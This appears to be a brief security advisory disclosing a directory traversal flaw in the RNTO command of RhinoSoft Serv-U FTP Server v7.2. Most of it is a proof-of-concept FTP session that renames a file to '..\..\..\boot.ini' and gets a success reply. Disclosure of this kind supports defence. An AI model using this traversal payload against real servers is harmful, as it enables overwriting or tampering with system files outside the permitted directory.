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RhinoSoft Serv-U FTP Server 'rnto' Command Directory Traversal Vulnerability

An attacker can exploit this issue by enticing an unsuspecting victim to connect to a malicious server.

The following proof of concept is available:

220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.







 

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